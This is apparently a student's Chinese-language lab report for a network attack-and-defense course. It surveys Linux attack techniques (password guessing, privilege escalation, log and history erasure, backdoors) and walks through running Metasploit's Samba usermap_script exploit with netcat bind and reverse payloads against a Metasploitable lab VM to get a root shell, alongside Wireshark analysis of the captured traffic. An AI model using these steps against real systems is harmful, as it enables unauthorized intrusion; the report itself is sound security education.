20212903 2021-2022-2 《网络攻防实践》实践7报告
20212903 2021-2022-2 《网络攻防实践》实践7报告
1.实践内容
Linux系统远程攻防技术
Linux远程口令猜测技术
- 利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令
- Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。
- 远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。
- 对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字。
网络服务远程渗透攻击
- 针对的网络服务:Linux内核中的网络协议栈;LAMP WEB网站中的网络服务攻击;FTP、Samba等文件共享服务;电子邮件收发服务;其他网络服务(OpenSSH—22; OpenSSL--443)。
- 防范:禁用不必要的网络服务;选择更安全的网络协议与服务软件,并使用最佳安全实践部署;及时更新网络服务版本;使用xinetd、防火墙为Linux网络服务添加访问控制机制;建立入侵检测与应急响应计划流程。
攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序
- 攻击Linux系统用户:常见的包括电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或恶意文档,访问某些恶意地址,以及不经意间泄漏某些关于服务器配置的敏感信息,使得攻击者能够在服务器上获得恶意程序执行、引导客户端软件访问渗透攻击代码的机会,从而在管理员眼皮底下拿到系统的访问权。
Linux系统本地安全攻防技术
Linux本地特权提升
- 最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行 SU 或sudo命令进行提升。
- 第二种特权提升途径是发掘并利用 SU 或sudo程序中的安全漏洞。
- 目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行淄洞,让它们替攻击者打开具有Root权限的Shell命令行连接,这类 途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞。
- 最后一种本地特权提升技术则利用了系统中的一些配置不当, 通过从系统中搜索全局 可写的敏感文件与目录位置并加以利用。
Linux系统上的消踪灭迹
- 抹除Linux系统行为记录日志:
- 改变当前活动的日志,以防止系统管理员注意到攻击者当前的登录活动。
- 清理自己在shell程序中所输入的命令历史记录。
- 删除自己执行过的命令历史记录。
Linux系统远程控制后门
- 主要类型包括:
- 特洛伊木马化的系统程序。
- 命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统。
- shell与客户端进行交互。
- 图形化后门工具:最为常用的是图形化远程控制免费软件VNC。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
攻击机与靶机信息
虚拟机名称 | IP地址 |
---|---|
攻击机Kali | 192.168.11.136 |
靶机Metasploitable_ubunutu | 192.168.11.191 |
1、使用指令namp 192.168.11.191
查看Samba使用的端口(139号(TCP文件和打印共享)和445号(NetBIOS服务在Windows 2000及以后版本使用此端口)端口)是否开启
通过下图可以看到139和445号端口均为开启状态
2、使用命令msfconsole
打开metasploit命令行
查看攻击载荷并设置攻击载荷use exploit/multi/samba/usermap_script
和命令show payloads
通过命令set payload cmd/unix/bind_netcat
设置为cmd/unix/bind_netcat
,表示使用在渗透攻击成功后执行shell
并通过netcat绑定在一个监听端口上
使用指令set rhost 192.168.11.191
、set lhost 192.168.11.136
设置目标主机地址和本机地址,并使用show options
进行查看
输入指令exploit
进行攻击,并输入ifconfig
输入命令whoami
查看当前用户
(2)实践作业:攻防对抗实践
- 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
- 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
攻击机与靶机IP相关信息如下:
虚拟机名称 | IP地址 |
---|---|
攻击机Kali | 172.30.0.245 |
靶机Metasploitable_ubunutu | 172.30.2.96 |
攻击方
首先利用nessus对靶机Metasploitable_ubunutu进行漏洞扫描
创建Scan,将靶机IP地址输入相应位置
开始扫描
查看扫描结果
发现靶机具有4个危险程度等级为高的漏洞,分别在0,22,445端口号,对应的服务为ssh和cifs
在知道漏洞之后,在kali攻击机中输入命令msfconsole
打开攻击软件Metasploit
同第一实践一样,设置攻击载荷use exploit/multi/samba/usermap_script
和命令show payloads
查看攻击载荷
通过命令set payload /cmd/unix/reverse_ssh
设置为/cmd/unix/reverse_ssh
使用指令set rhost 172.30.2.96
、set lhost 172.30.0.245
设置目标主机地址和本机地址,并使用show options
进行查看
输入指令exploit
进行攻击,结果发现攻击失败
通过防守方抓包分析,建立起的TCP连接被拒绝了
重新选择攻击载荷,利用命令set payload cmd/unix/bind_netcat
设置为cmd/unix/bind_netcat
使用指令set rhost 172.30.2.96
、set lhost 172.30.0.245
设置目标主机地址和本机地址,并使用show options
进行查看
输入指令exploit
进行攻击,输入ifconfig
查看IP地址,输入命令whoami
查看当前用户
从上图可以看到IP地址为靶机IP,当前用户为ROOT
防守方
从wireshark中抓包可以看出,攻击机与靶机建立了TCP连接
追踪TCP数据流,可以看到与攻击机中输入的命令相同
3.学习中遇到的问题及解决
- 问题1:重新选择攻击载荷
cmd/unix/bind_netcat
,进行攻击时,发现无法进攻击成功,会显示Command shell session 2 closed.
- 问题1解决方案:关闭终端,重新开启Metasploit ,设置攻击载荷等信息,进行攻击即可成功
4.实践总结
通过这次实验,让我学会了如何系统的进行一次进攻,在之前的实验中学会了漏洞搜索,攻击靶机,而在本次实验,我系统的从漏洞搜索,分析漏洞,选择漏洞进行攻击,一套整体流程下来,让我对网络攻防有了新的认识。在攻击成功的瞬间,我内心感到喜悦,体会到了网络攻防的乐趣。同时还需要进一步加强对网络攻防理论上知识的学习